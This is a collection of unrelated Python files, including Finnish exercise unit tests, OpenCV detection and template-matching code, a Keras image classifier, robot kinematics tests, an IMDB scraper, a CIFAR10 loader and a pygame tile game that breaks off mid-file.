            correct = "moi\nmoi\nmoi\nmoi\nei sitten"

            self.assertTrue(len(output.split("\n")) == 5, "Ohjelmasi tulostaa kyselyjen lisäksi viiden sijasta {} riviä: \n{}\nsyötteellä {}".format(len(output.split("\n")), output, format_tuple(values)))
            self.assertTrue(output == correct, "Tulostus {} ei vastaa oikeaa tulostetta {} kun syöte on {}".
                format(output[0], correct, tuple(values)))

    def test_yksi_ja_ei(self):
        values = "mitä ei".split(" ")

        with patch('builtins.input', side_effect = values):
            reload_module(self.module)
            output = get_stdout()
            correct = "moi\nmoi\nei sitten"

            self.assertTrue(len(output.split("\n")) == 3, "Ohjelmasi tulostaa kolmen rivin sijasta {} riviä: \n{}\nkun syöte on {}".format(len(output.split("\n")), output, tuple(values)))
            self.assertTrue(output == correct, "Tulostus {} ei vastaa oikeaa tulostetta {} kun syöte on {}".
                format(output[0], correct, tuple(values)))

    def test_heti_ei(self):
        values = ["ei"]

        with patch('builtins.input', side_effect = values):
            reload_module(self.module)
            output = get_stdout()
            correct = "moi\nei sitten"

            self.assertTrue(len(output.split("\n")) == 2, "Ohjelmasi tulostaa kahden rivin sijasta {} riviä: \n{}\nkun syöte on {}".format(len(output.split("\n")), output, tuple(values)))
            self.assertTrue(output == correct, "Tulostus {} ei vastaa oikeaa tulostetta {} kun syöte on {}".
                format(output[0], correct, tuple(values)))

if __name__ == '__main__':
    unittest.main()


from person import Person
import csv

class Mentor(Person):

    def __init__(self, first_name, last_name, year_of_birth, gender, coffee, energy, nickname, engagement, irritation, sweets):
        Person.__init__(self, first_name, last_name, year_of_birth, gender, coffee, energy)

        self.nickname = str(nickname)
        self.engagement = int(engagement)
        self.irritation = int(irritation)
        self.sweets = int(sweets)
        if nickname == '':
            raise ValueError('Nickname cannot be empty')

    def __str__(self):
        return "{} {} {} ".format(self.first_name,  self.last_name, self.nickname)

    @classmethod
    def create_by_csv(cls, filepath):
        try:
            with open('data/mentors.csv') as mentor_file:
                all_mentors = csv.reader(mentor_file, delimiter=',', quotechar=',')
                mentors_list = []
                for mentor in all_mentors:
                    mentors = Mentor(mentor[0], mentor[1], mentor[2], mentor[3], mentor[4],
                                     mentor[5], mentor[6], mentor[7], mentor[8], mentor[9])
                    mentors_list.append(mentors)
        except FileNotFoundError:
            print("File does not exist")
        return mentors_list

Mentor.create_by_csv('data/mentors.csv')

'''mentors_array = Mentor.create_by_csv('data/mentors.csv')
print(mentors_array[0].sweets)  # check elements in my list for now
for mentor in mentors_array:  # yay its so brilliant!
    print(mentor.first_name, mentor.gender)'''


import os
import cv2

class DeepRoiDetection(object):
    """
    This is the DRoiD you are looking for!
    Base interface for Deep Neural Network based region of interest detection and video_worker.
    This module supports bounding boxes in the xyxy or xywh formats. We set default as xyxy for AccessMath.
    """
    def __init__(self,
                 net,
                 name = 'DRoiD',
                 detection_threshold=0.6,
                 bbox_format='xyxy'):
        self.name = name
        self.net = net # use a util.model_loader object to pass a model here
        self.detected_rois = {}
        self.detection_threshold = detection_threshold
        self.bbox_format = 'xyxy' if bbox_format not in ['xyxy', 'xywh'] else bbox_format

    def initialize(self, width, height):
        pass

    def set_debug_mode(self, active, start_time, end_time, out_dir, video_name):
        self.debug_mode = active
        self.debug_start = start_time
        self.debug_end = end_time
        self.debug_out_dir = '{}_{}_debug({})'.format(video_name, self.name, self.detection_threshold)
        self.debug_video_name = video_name
        if not os.path.isdir(self.debug_out_dir) and self.debug_mode:
            os.makedirs(self.debug_out_dir)

    def handleFrame(self, frame, last_frame, v_index, abs_time, rel_time, abs_frame_idx):
        img = frame
        frameID = abs_frame_idx
        H, W, C = img.shape
        self.detected_rois[frameID] = {}
        self.detected_rois[frameID]['abs_time'] = abs_time
        self.detected_rois[frameID]['height'] = H
        self.detected_rois[frameID]['width'] = W
        self.detected_rois[frameID]['bboxes'] = bboxes = []
        self.detected_rois[frameID]['labels'] = labels = []
        self.detected_rois[frameID]['confidences'] = confidences = []
        self.detected_rois[frameID]['features'] = features = []

        self.fprop(img, bboxes, labels, confidences, features)

        self.detected_rois[frameID]['bboxes'] = [bbox for i, bbox in enumerate(bboxes)\
                                                 if confidences[i] >= self.detection_threshold]
        self.detected_rois[frameID]['labels'] = [label for i, label in enumerate(labels)\
                                                 if confidences[i] >= self.detection_threshold]
        self.detected_rois[frameID]['confidences'] = [conf for conf in confidences\
                                                      if conf >= self.detection_threshold]
        self.detected_rois[frameID]['visible'] = len(self.detected_rois[frameID]['bboxes']) > 0

        if self.debug_mode:
            self.debug_frame(img, frameID)

    def fprop(self, img, bboxes, labels, confidences, features):
        """
        This function needs to be implemented according the neural network architecture you have chosen.
        We expect the derived classes to implement this method based on the model of choice and append to
        bboxes, labels and confidences arrays, *the same ones passed as args*
        If your model returns an RoI which is not bounding box in self.format then it should be converted so.
        If your model returns only one kind of class append a string that describes it for each bbox.
        If your model does not return a confidence append 1.0 for each bbox.

        :param img: Input frame as np array in BGR channel ordering
        :param bboxes: List of xyxy or xywh tuples detections in the image, to be appended in implementation
        :param labels: Corresponding list of xyxy or xywh tuples labels, to be appended in implementation
        :param confidences: Corresponding list of xyxy or xywh tuples confidences, to be appended in implementation
        :param features: Corresponding list of feature vectors describing the roi, to be appended in implementation
        """
        raise NotImplementedError

    def debug_frame(self, frame, frameID):
        bboxes = self.detected_rois[frameID]['bboxes']
        for i, bbox in enumerate(bboxes):
            score = self.detected_rois['confidences'][i]
            label = self.detected_rois['labels'][i]
            if score >= self.detection_threshold:
                cv2.rectangle(frame, (bbox[0], bbox[1]), (bbox[2], bbox[3]), color=(255, 0, 0))
                cv2.putText(frame, str(label) + ' ' + str(score), (bbox[0], bbox[1]),
                            cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0))
        cv2.imwrite('{}/{}.jpg'.format(self.debug_out_dir, frameID), frame)

    def getWorkName(self):
        return self.name

    def finalize(self):
        pass

    def get_results(self):
        return self.detected_rois

    @staticmethod
    def getCentroid(bbox, bbox_format):
        if bbox_format == 'xyxy':
            x, y, x2, y2 = bbox
            w = x2 - x
            h = y2 - y
        else:
            x, y, w, h = bbox
        return (x + (w // 2), y + (h // 2))

    @staticmethod
    def getArea(bbox, bbox_format):
        if bbox_format == 'xyxy':
            x, y, x2, y2 = bbox
            w = x2 - x
            h = y2 - y
        else:
            x, y, w, h = bbox
        return w * h


import cv2
import numpy as np
from pathlib import Path

import urcv

DIR = Path('templates')
DIR.mkdir(exist_ok=True)

_templates = {}

ONES = np.ones((5, 5), dtype=np.uint8)
# ONES = np.array([
#     [0.5,0.5,0.5,0.5,0.5],
#     [0.5,1,1,1,0.5],
#     [0.5,1,1,1,0.5],
#     [0.5,1,1,1,0.5],
#     [0.5,0.5,0.5,0.5,0.5],
# ], dtype=np.uint8)
def init():
    for f in DIR.iterdir():
        _load(*f.stem.split("__"))

def get_bounds_for_contours(contours):
    boxes = []
    for c in contours:
        (x, y, w, h) = cv2.boundingRect(c)
        boxes.append([x,y, x+w,y+h])

    boxes = np.asarray(boxes)
    left, top = np.min(boxes, axis=0)[:2]
    right, bottom = np.max(boxes, axis=0)[2:]

    return (left, top, right - left, bottom - top)

def _load(video_id, frame_number, item_name):
    key = _key(video_id, frame_number, item_name)
    path = DIR / f'{key}.png'
    _templates[key] = cv2.cvtColor(cv2.imread(str(path)), cv2.COLOR_BGR2GRAY)

def _key(video_id, frame_number, item_name):
    return f'{video_id}__{frame_number}__{item_name}'

def exists(video_id, frame_number, item_name):
    return _key(video_id, frame_number, item_name) in _templates

def create(video_id, frame_number, item_name, content):
    key = _key(video_id, frame_number, item_name)
    if not key in _templates:
        path = DIR / f'{key}.png'
        print(f'saving {path}')
        cv2.imwrite(str(path), content)
        _load(video_id, frame_number, item_name)

def get(video_id, frame_number, item_name):
    key = _key(video_id, frame_number, item_name)
    return _templates[key]

def match_all(content):
    gray = cv2.cvtColor(content, cv2.COLOR_BGR2GRAY)
    results = []
    for key, template in _templates.items():
        _, _, item_name = key.split("__")
        result = cv2.matchTemplate(gray, template, cv2.TM_CCOEFF_NORMED)
        (minVal, maxVal, minLoc, maxLoc) = cv2.minMaxLoc(result)
        results.append((maxVal, maxLoc, item_name, template))
    return sorted(results)


import os

import wordfreak

if __name__ == "__main__":
    PATH_TO_FILES_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "files"))

    # Extracts word frequencies from "inputFile.txt" and returns them as a Python dictionary.
    wordFrequencies = wordfreak.extractWordFrequencies(os.path.join(PATH_TO_FILES_DIR, "theRoadNotTaken.txt"))
    print(wordFrequencies)

    # Give an output file to save the results to JSON.
    wordFrequencies = wordfreak.extractWordFrequencies(os.path.join(PATH_TO_FILES_DIR, "theRoadNotTaken.txt"),
                                                       os.path.join(PATH_TO_FILES_DIR,
                                                                    "theRoadNotTaken_wordFrequencies.json"))
    print(wordFrequencies)

    # Loads word frequencies from "theRoadNotTaken_wordFrequencies.json" and returns them as a Python dictionary.
    wordFrequencies = wordfreak.pythonizeWordFrequencies(
        os.path.join(PATH_TO_FILES_DIR, "theRoadNotTaken_wordFrequencies.json"))
    print(wordFrequencies)


import os
import numpy as np
from PIL import Image
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import StandardScaler
from sklearn.decomposition import PCA
import joblib
import tensorflow as tf
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Conv2D, MaxPooling2D, Dropout, Flatten, Dense

# Définir les chemins des dossiers de données
dir_train = 'server/data/train/'
dir_test = 'server/data/test/'

# Fonction pour charger les images et les redimensionner
def load_images(folder, target_size):
    images = []
    for filename in os.listdir(folder):
        img = Image.open(os.path.join(folder, filename))
        img = img.resize(target_size)
        images.append(np.array(img))
    return images

# Charger les images à partir des deux dossiers
target_size = (224, 224)  # Taille d'entrée attendue par le modèle
train_benign_images = load_images(os.path.join(dir_train, 'benign'), target_size)
train_malign_images = load_images(os.path.join(dir_train, 'malignant'), target_size)
test_benign_images = load_images(os.path.join(dir_test, 'benign'), target_size)
test_malign_images = load_images(os.path.join(dir_test, 'malignant'), target_size)

# Créer des labels pour les images
train_benign_labels = np.zeros(len(train_benign_images))
train_malign_labels = np.ones(len(train_malign_images))
test_benign_labels = np.zeros(len(test_benign_images))
test_malign_labels = np.ones(len(test_malign_images))

# Fusionner les images et les labels
X_train = np.concatenate((train_benign_images, train_malign_images))
y_train = np.concatenate((train_benign_labels, train_malign_labels))
X_test = np.concatenate((test_benign_images, test_malign_images))
y_test = np.concatenate((test_benign_labels, test_malign_labels))

X_train_norm = X_train / 255.0
X_test_norm = X_test / 255.0

model = tf.keras.Sequential([
    Conv2D(50, (3, 3), activation='relu', input_shape=(224, 224, 3)),
    MaxPooling2D(pool_size=(2, 2)),
    Conv2D(64, (3, 3), activation='relu'),
    MaxPooling2D(pool_size=(2, 2)),
    Dropout(0.22),
    Conv2D(100, (3, 3), activation='relu'),
    MaxPooling2D(pool_size=(2, 2)),
    Flatten(),
    Dense(1, activation='sigmoid')
])

# Compiler le modèle
model.compile(optimizer='adam',
              loss='binary_crossentropy',
              metrics=['accuracy'])

# Entraîner le modèle
model.fit(X_train_norm, y_train, epochs=12, batch_size=32, validation_data=(X_test_norm, y_test))
loss, accuracy = model.evaluate(X_test_norm, y_test)

print("Loss sur les données de test:", loss)
print("Accuracy sur les données de test:", accuracy)
# Sauvegarder le modèle entraîné
model_path = "server/model/modelCNN.h5"
model.save(model_path)


# impot robot model module
import robot_model

#import math modules
import math
import numpy as np

#set print formatting
np.set_printoptions(precision = 1, suppress = True)

#--------------TEST 1---------------#
print("Test 1")
print()

# set dh parameters for 1st link
a1 = 1
alpha1= 0
theta1 = math.pi/2
d1 = 0

#set parameters for second link
a2 = 1
alpha2 = 0
theta2 = math.pi/2
d2 = 0

# call kinematic_chain to calculate homogeneous transformation matrix, H
H = robot_model.kinematic_chain([[a1,alpha1,theta1,d1],[a2, alpha2,theta2,d2]])

# call get_pos and pass Hto determine x,y,and z values
pos = robot_model.get_pos(H)
print("x,y,z: ", pos)

# call get_rot and pass H to determine roll-pitch-yaw angle values
rot = robot_model.get_rot(H)
print("roll, pitch, yaw: ",rot)

#formatting
print()
print()

#----------------TEST 2-----------------#
print("Test 2")
print()

#set dh parameters for each link (1-6)
a1 = 0
alpha1= math.pi/2
theta1 = 0
d1 = .1625

a2 = -0.425
alpha2= 0
theta2 = 0
d2 = 0

a3 = -0.3922
alpha3= 0
theta3 = 0
d3 = 0

a4 = 0
alpha4= math.pi/2
theta4 = 0
d4 = 0.1333

a5 = 0
alpha5= -math.pi/2
theta5 = 0
d5 = 0.0997

a6 = 0
alpha6= 0
theta6 = 0
d6 = 0.0966

#call kinematic chain to determine final transformation matrix
H = robot_model.kinematic_chain([[a1,alpha1,theta1,d1],[a2, alpha2,theta2,d2],[a3,alpha3,theta3,d3],
                                 [a4,alpha4,theta4,d4],[a5,alpha5,theta5,d5],[a6,alpha6,theta6,d6]])

# call get_pos and pass H to determine x,y,z values from transformation matrix
pos = robot_model.get_pos(H)
print("x,y,z: ", pos)

# call get_rot and pass H to determine roll, pitch, and yaw angle values
rot = robot_model.get_rot(H)
print("roll, pitch, yaw: ",rot)

#formatting
print()
print()

#-----------------Test 3--------------------#
print("Test 3")
print()

# theta2 is only value that changes from case1 - set new value for theta2
theta2 = -math.pi/2

#call kinematic chain to determine transformation matrix
H = robot_model.kinematic_chain([[a1,alpha1,theta1,d1],[a2, alpha2,theta2,d2],[a3,alpha3,theta3,d3],
                                 [a4,alpha4,theta4,d4],[a5,alpha5,theta5,d5],[a6,alpha6,theta6,d6]])

# call get_pos and pass H to determine x,y,z position
pos = robot_model.get_pos(H)
print("x,y,z: ", pos)

# call get_rot and pass H to calculate roll-pitch-yaw angle values
rot = robot_model.get_rot(H)
print("roll, pitch, yaw: ",rot)


from bs4 import BeautifulSoup
import requests, openpyxl

# ''' blok string

#kreiramo novi eksel fajl
#aktivni sheet gdje cemo smjestati podatke

excel = openpyxl.Workbook()
print(excel.sheetnames)

sheet = excel.active
sheet.title = 'IMDB Movie Ratings'
print(excel.sheetnames)

#potrebne su nam 4 kolone, kreiramo ih

sheet.append(['Movie Rank', 'Movie Name', 'Year of Release', 'IMDB Rating'])

try:
    source = requests.get('https://www.imdb.com/chart/top/')
    source.raise_for_status()  #hvata gresku ukoliko upisemo nepostojecu adresu

    soup = BeautifulSoup(source.text, 'html.parser')

    #find nalazi prvi pogodatak
    #find_all uvijek vraca listu, fin_all trazi sve tr
    #len vraca duzinu liste

    movies = soup.find('tbody', class_ = "lister-list" ).find_all('tr')

    for movie in movies:

        #trayimo tag a , pa trazimo dalje kontent a
        #koristimo tekst metod
        #dobijamo ime filma

        name = movie.find('td', class_="titleColumn").a.text

        #trazimo rank filma
        #sa text medotom izvlacimo sav tekst koji se nalazi u tom tagu
        #get_text: dobijamo takodje sav tekst samo bez razmaka
        #sa split dobijamo listu, potreban nam je nulti clan liste

        rank = movie.find('td', class_="titleColumn").get_text(strip = True).split('.')[0]

        #trazimo godinu filma
        #span je tag
        #pomocu strip metode uklanjamo zagrade, string metoda

        year = movie.find('td', class_="titleColumn").span.text.strip('()')

        # trazimo ocjenu filma
        #pristupamo strong tagu i trazimo tekst

        rating = movie.find('td', class_ = "ratingColumn imdbRating").strong.text

        print(rank, name, year, rating)

        #popunjavamo exel file

        sheet.append([rank, name, year, rating])

except Exception as e:
    print(e)

excel.save('IMDB Movie Ratings.xlsx')


import torch.utils.data as data
from PIL import Image
import numpy as np
import torchvision
from torchvision.datasets import CIFAR10
import torch
import torchvision.transforms as transforms
import torch.nn.functional as F
from torch.autograd import Variable

def default_loader(image_path):
    return Image.open(image_path).convert('RGB')

class cifar10_dataset(data.Dataset):
    def __init__(self, root, train=True, transform=None, target_transform=None, download=False, sample_k=1):

        self.root = root
        self.train = train
        self.transform = transform
        self.target_transform = target_transform
        self.download = download
        self.sample_k = sample_k
        self.data, self.target = self.__build_truncated_dataset__()
        self.posi_indexs = np.load('./samples/cifar10/posi_samples.npy', allow_pickle=True)
        self.nega_indexs = np.load('./samples/cifar10/nega_samples.npy', allow_pickle=True)
        self.curriculum_estimation = np.load('./samples/cifar10/easy_mid_hard.npy', allow_pickle=True)
        self.cluster_weights=np.load('./samples/cifar10/cluster_weights.npy', allow_pickle=True)
        self.class_prototypes = np.load('./samples/cifar10/class_prototypes.npy', allow_pickle=True)

    def __build_truncated_dataset__(self):
        cifar_dataobj = CIFAR10(self.root, self.train, self.transform, self.target_transform, self.download)
        if torchvision.__version__ == '0.2.1':
            if self.train:
                data, target = cifar_dataobj.train_data, np.array(cifar_dataobj.train_labels)
            else:
                data, target = cifar_dataobj.test_data, np.array(cifar_dataobj.test_labels)
        else:
            data = cifar_dataobj.data
            target = np.array(cifar_dataobj.targets)
        return data, target

    def _sample_posi(self, index):
        posi_index = self.posi_indexs[index]
        posi_data_index = np.random.choice(posi_index, self.sample_k)

        return posi_data_index

    def _sample_nega(self, index):
        nega_index = self.nega_indexs[index]
        nega_data_index = np.random.choice(nega_index, self.sample_k)

        return nega_data_index

    def truncate_channel(self, index):
        for i in range(index.shape[0]):
            gs_index = index[i]
            self.data[gs_index, :, :, 1] = 0.0
            self.data[gs_index, :, :, 2] = 0.0

    def __getitem__(self, index):
        """
        Args:
            index (int): Index

        Returns:
            tuple: (image, target) where target is index of the target class.
        """
        img, target = self.data[index], self.target[index]
        if self.train==False:
            if self.transform is not None:
                img = self.transform(img)
            return img, target
        else:
            posi_data_index = self._sample_posi(index)
            nega_data_index = self._sample_nega(index)
            posi_data = self.data[posi_data_index]
            nega_data = self.data[nega_data_index]
            curriculum_estimation=np.array([self.curriculum_estimation[index] for i in range(self.sample_k)])
            cluster_weight=self.cluster_weights[index]
            class_prototype=self.class_prototypes[index]

            if self.transform is not None:
                posi_data = torch.cat([self.transform(posi_data[i]).unsqueeze(0) for i in range(self.sample_k)], dim=0)
                nega_data = torch.cat([self.transform(nega_data[i]).unsqueeze(0) for i in range(self.sample_k)], dim=0)
                img = self.transform(img)

            return img, target, posi_data, nega_data, cluster_weight,class_prototype,curriculum_estimation

    def __len__(self):
        return len(self.data)

def get_dataloader(dataset, datadir, train_bs, test_bs, noise_level=0,sample_k=1):
    print(dataset)
    if dataset == 'cifar10':
        dl_obj = cifar10_dataset

        normalize = transforms.Normalize(mean=[x / 255.0 for x in [125.3, 123.0, 113.9]],
                                         std=[x / 255.0 for x in [63.0, 62.1, 66.7]])
        transform_train = transforms.Compose([
            transforms.ToTensor(),
            transforms.Lambda(lambda x: F.pad(
                Variable(x.unsqueeze(0), requires_grad=False),
                (4, 4, 4, 4), mode='reflect').data.squeeze()),
            transforms.ToPILImage(),
            transforms.RandomCrop(32),
            transforms.RandomHorizontalFlip(),
            transforms.ToTensor(),
            normalize
        ])
        # data prep for test set
        transform_test = transforms.Compose([
            transforms.ToTensor(),
            normalize])

        train_ds = dl_obj(datadir, train=True, transform=transform_train, download=True,sample_k=sample_k)
        test_ds = dl_obj(datadir, train=False, transform=transform_test, download=True)

        train_dl = data.DataLoader(dataset=train_ds, batch_size=train_bs, drop_last=True, shuffle=True, num_workers=6)
        test_dl = data.DataLoader(dataset=test_ds, batch_size=test_bs, shuffle=False, num_workers=6)

    return train_dl, test_dl


#test sampling and plot distributions
import numpy as np
import matplotlib.pyplot as plt
import pyximport
pyximport.install()
import sample

N_SAMPLES = 100000

#Random Seed
sample.random_seed(5)

#Test Box-Muller
samples = np.empty(N_SAMPLES, dtype=np.float64)
sample.normal_bm(N_SAMPLES, samples)

plt.figure()
plt.hist(samples, bins=100)
plt.show()

#Test Rejection Sampling
samples = np.empty(N_SAMPLES, dtype=np.float64)
sample.rejection(N_SAMPLES, samples)

plt.figure()
plt.hist(samples, bins=100)
plt.show()

#Test Metropolis Hastings
N_CHAINS = 100
SAMPLES_PER_CHAIN = N_SAMPLES / N_CHAINS
samples = np.empty((N_CHAINS, SAMPLES_PER_CHAIN), dtype=np.float64)
sample.metropolis(N_CHAINS, SAMPLES_PER_CHAIN, samples)

plt.figure()
plt.hist(samples.flatten(), bins=100)
plt.show()


#importing the nesescary librarys
import pygame
import pygame_textinput
from pygame.locals import *
import random
import math
from FileManager import FileManager

fileManager = FileManager("gameDatabase.db")

def weighted_choice(choices):  # function to weight the probability of certian tiles being generated
    total = sum(w for c, w in choices) #returns the total of all of the choices
    r = random.uniform(0, total) #returns a random number in the range of 0 to the total sum
    upto = 0
    for c, w in choices: #loops through every choice
        if upto + w >= r: #if the selected probabilty is greater than the random number
            return c #returns the weighted item in the array
        upto += w
    assert False, "Shouldn't get here" #for debugging purposes

def dist(x1, y1, x2, y2): #function to generate circle distances
    return math.sqrt((x1 - x2) ** 2 + (y1 - y2) ** 2) #pythagorases theorem

def generatePonds(numOfPonds): #generates the randomly positioned ponds
    for i in range(numOfPonds): #loops numOfPonds times
        r = random.randint(3, 7) #random radius of pond between 3 and 7
        cx = random.randint(0 + r, MAPHEIGHT - r)
        cy = random.randint(0 + r, MAPWIDTH - r)
        for x in range(cx - r, cx + r):
            for y in range(cy - r, cy + r):
                if dist(cx, cy, x, y) <= r:
                    tileMap[x][y][0] = WATER #appends pond tile to tile map array

def generateNpc(num, size):
    x = random.randint(0, MAPHEIGHT)
    y = random.randint(0, MAPWIDTH)
    #if num % 2 == 0:
        #for i in range(size):
            #for j in range(size):
                #tileMap[x + i][y + j][0] = WOOD

def generatePortal(): #function to randomly generate one portal per level
    x = random.randint(0, MAPWIDTH) #random x coord
    y = random.randint(1, MAPHEIGHT) #random y coord
    for i in range(len(tileMap)):
        for j in range(len(tileMap[i])):
            if i == y and j == x:
                if tileMap[i][j][0] != WATER: #makes sure the portal isn't generated on water
                    tileMap[i][j][0] = PORTAL #sets the specified tile to water
                else:
                    generatePortal() #generate new portal
            else:
                tileMap[i][j][1] = recourceValue[tileMap[i][j][0]]

def generateTileMap(): #generating the 2D tile array
    generateMonster(playerLevel) #first generating monsters
    # generating the tile map below
    global tileMap #setting the array variable global
    tileMap = [[[weighted_choice(tiles), 0]
                for i in range(MAPWIDTH)]
                for j in range(MAPHEIGHT)] #creating a 2D array in the size of the width and height specified
    generatePonds(random.randint(1, 6)) # generate ponds
    generateNpc(random.randint(0, 100), random.randint(3, 5)) #generate NPCs
    generatePortal() #generate portal

def renderEnviroment(): #function to render the tilemap
    for row in range(MAPHEIGHT):
        for column in range(MAPWIDTH):
            pygame.draw.rect(screen, colours[(tileMap[row][column])[0]],
                             (column * TILESIZE, row * TILESIZE, TILESIZE, TILESIZE)) #draw a rectangle for each item in the tile map with the specific colour
            screen.blit(font_player.render(str(tileMap[row][column][1]), True, (0, 0, 0)),
                        (column * TILESIZE, row * TILESIZE))
    pygame.draw.rect(screen, BLACK, (0, 0, TILESIZE * MAPWIDTH, TILESIZE)) #drawing a black menue bar at the top of the screen

def generateMonster(playerLevel): #generating monsters
    for i in range(random.randint(0,TILESIZE)): #random ammount of monsters
        monsterHealth = playerLevel*MONSTERHEALTH #monster health is relative to the player's level
        x=random.randint(0,MAPWIDTH)
        y=random.randint(0,MAPHEIGHT)
        monsters.append([x,y,monsterHealth]) #adding a monster to the monster array

def renderMonster(): #function to render monsters
    if len(monsters) > 0: #making sure the monster list isn't empty
        for i in range(len(monsters)): #looping through the monster array
            pygame.draw.rect(screen, PINK, ( monsters[i][0] * TILESIZE, monsters[i][1] * TILESIZE, TILESIZE, TILESIZE))  # rendering the monster
            screen.blit(font_monster.render(str(monsters[i][2]), True, (0, 0, 0)),(monsters[i][0] * TILESIZE, monsters[i][1] * TILESIZE))  # redering the monster health

def moveMonster(): #function to move each monster
    if len(monsters) > 0: #making sure the array isn't empty
        for i in range(len(monsters)): #looping through the monster array
            moveChance = random.randint(0,10)
            if moveChance > 5:
                if (playerx//TILESIZE - monsters[i][0]) > 0:
                    x = monsterMovementPoints
                else:
                    x = - monsterMovementPoints
                if playery//TILESIZE - monsters[i][1] > 0:
                    y = monsterMovementPoints
                else:
                    y = - monsterMovementPoints
            else:
                x = random.randint(-monsterMovementPoints, monsterMovementPoints)
                y = random.randint(-monsterMovementPoints, monsterMovementPoints)
            monsters[i] = [monsters[i][0] + x, monsters[i][1] + y, monsters[i][2]]
            if monsters[i][0] == playerTilex and monsters[i][1] == playerTiley:
                monsterAttack()

def monsterAttack(): #function to make the monster attack
    global playerHealth #making the playerHealth variable global so it can be accessed anywhere
    if random.randint(0,10) // 2 == 0:
        playerHealth = playerHealth - MONSTERATTACK #removing health off the player
        if playerHealth < 0: #check if the player is dead
            global died #making the dead variable global so it can be accessed anywhere
            died = True #setting the dead variable true so the game knows the player is dead

def renderPlayer(): #function to render the player and all related variables
    pygame.draw.rect(screen, RED, (playerx, playery, TILESIZE, TILESIZE))  # rendering the player
    screen.blit(font_player.render("health: "+str(playerHealth), True, (255, 255, 255)),(0, 0))  # redering the player health
    screen.blit(font_player.render("xp: " + str(xp), True, (255, 255, 255)),(100, 0))  # redering the player xp
    screen.blit(font_player.render("level: " + str(playerLevel), True, (255, 255, 255)), (150, 0))  # redering the player xp
    screen.blit(font_player.render("recource points: "+str(playerPoints), True, (255, 255, 255)),(300, 0))  # redering the player recource points
    screen.blit(font_player.render("iron: " + str(iron), True, (255, 255, 255)),(440, 0))  # redering the player iron
    screen.blit(font_player.render("water: " + str(water), True, (255, 255, 255)),(500, 0))  # redering the player water
    screen.blit(font_player.render(username, True, (255, 255, 255)),(width-85, 0))  # redering the username

def playerAttack(i): #function to make the player attack #i being the specific monster in the array
    monsters[i][2]=monsters[i][2]-playerAttackPoints #removing health from the indexed monster
    if monsters[i][2]<=0: #checking if the monster is dead
        del monsters[i] #deleting the monster from the array
        global xp #making the player xp variable global so it can be accessed anywhere
        xp=xp+1 #incrementing the player xp variable by 1

def saveOptions():
    pygame.draw.rect(screen, WHITE, (width/2-(width/4), height/2-(height/4), width/2, height/2))
    pygame.draw.rect(screen, BLACK, (width / 2 - (width / 4), height / 2 - (height / 4), width / 2, height / 2), 5)

    screen.blit(font_saveOptions.render("SAVE GAME", True, (0, 0, 0)), ((width/2)-175, (height/2)-130))
    pygame.draw.rect(screen, (169, 169, 169), ((width / 2) - 140, (height / 2) - 50, width / 16, height / 16))
    pygame.draw.rect(screen, BLACK, ((width / 2) - 140, (height / 2) - 50, width / 16, height / 16), 5)
    screen.blit(font_saveOptions.render("save", True, (0, 0, 0)), ((width / 2) - 130, (height / 2) - 50))

    screen.blit(font_saveOptions.render("LOAD GAME", True, (0, 0, 0)), ((width / 2) + 25, (height / 2) - 130))
    pygame.draw.rect(screen, (169, 169, 169), ((width / 2) + 60, (height / 2) - 50, width / 16, height / 16))
    pygame.draw.rect(screen, BLACK, ((width / 2) + 60, (height / 2) - 50, width / 16, height / 16), 5)
    screen.blit(font_saveOptions.render("load", True, (0, 0, 0)), ((width / 2) + 75, (height / 2) - 47))

    # fileManager = FileManager("gameDatabase.db")
    # name = input("username")
    # fileManager.saveGame(name, done)

def renderInput(usernameText, save_load):
    # Feed it with events every frame
    usernameText.update(pygame.event.get())
    if save_load == True:
        # Blit its surface onto the screen
        screen.blit(usernameText.get_surface(), ((width / 2) -175, (height / 2) -100))
    else:
        # Blit its surface onto the screen
        screen.blit(usernameText.get_surface(), ((width / 2) + 30, (height / 2) - 100))

def loadData(data): #function to load the save data
    global username
    username=data[0]
    global playerHealth
    playerHealth=data[1]
    global playerAttackPoints
    playerAttackPoints=data[2]
    global playerLevel
    playerLevel=data[3]
    global xp
    xp=data[4]
    global playerx
    playerx=data[5]
    global playery
    playery=data[6]

def generateBoss():
    size = random.randint(3,8)
    x=random.randint(0,MAPWIDTH)
    y=random.randint(0,MAPHEIGHT)
    global bossHealth

    for i in range(size):
        for j in range(size):
            boss.append([i+x, j+y])  # adding a monster to the monster array

def moveBoss():
    x = random.randint(-monsterMovementPoints, monsterMovementPoints)
    y = random.randint(-monsterMovementPoints, monsterMovementPoints)
    if len(boss) > 0: #making sure the array isn't empty
        for i in range(len(boss)): #looping through the monster array
            boss[i] = [boss[i][0] + x, boss[i][1] + y]

def renderBoss():
    if len(boss) > 0: #making sure the boss array isn't empty
        for i in range(len(boss)): #looping through the boss array
            pygame.draw.rect(screen, GREEN, (boss[i][0] * TILESIZE, boss[i][1] * TILESIZE, TILESIZE, TILESIZE))  # rendering the boss
            screen.blit(font_monster.render(str(bossHealth), True, (0, 0, 0)),(boss[i][0] * TILESIZE, boss[i][1] * TILESIZE))  # redering boss health

def bossBattle(mousex,mousey,xDist,yDist):
    global boss
    global bossDied
    global playerLevel
    if bossDied == False:
        if abs(xDist // TILESIZE) < movementPoints: #checking how close the player is on the x axis
            if abs(yDist // TILESIZE) < movementPoints: #checking how close the player is on the y axis
                for i in range(len(boss)): #looping through the boss array
                    if mousex == boss[i][0] and mousey == boss[i][1]:
                        global bossHealth
                        bossHealth=bossHealth-playerAttackPoints
                        if bossHealth <= 0:
                            del boss[:]
                            bossDied = True
                            playerLevel=playerLevel+100
                            break

def deathAnimation():
    x = random.randint(0, MAPWIDTH)
    y = random.randint(0, MAPHEIGHT)
    global deathAnimationArray
    deathAnimationArray.append([x, y])  # adding a monster to the monster array

    if len(deathAnimationArray) > 0: #making sure the monster list isn't empty
        for i in range(len(deathAnimationArray)): #looping through the monster array
            pygame.draw.rect(screen, BLACK, (deathAnimationArray[i][0] * TILESIZE, deathAnimationArray[i][1] * TILESIZE, TILESIZE, TILESIZE))  # rendering the boss

#game dimenions
TILESIZE = 20 #the size in pixels of each square tile
MAPWIDTH = 60 #the ammount of tiles on the x axis
MAPHEIGHT = 30 #the ammount of tiles on the y axis

#tile valuesz
DIRT = 0
STONE = 1
IRON = 2
WATER = 3
PORTAL = 4
WOOD = 5

tiles = [(STONE,5),(DIRT,0),(IRON,0.25),(WATER,0)]

recourceValue = {
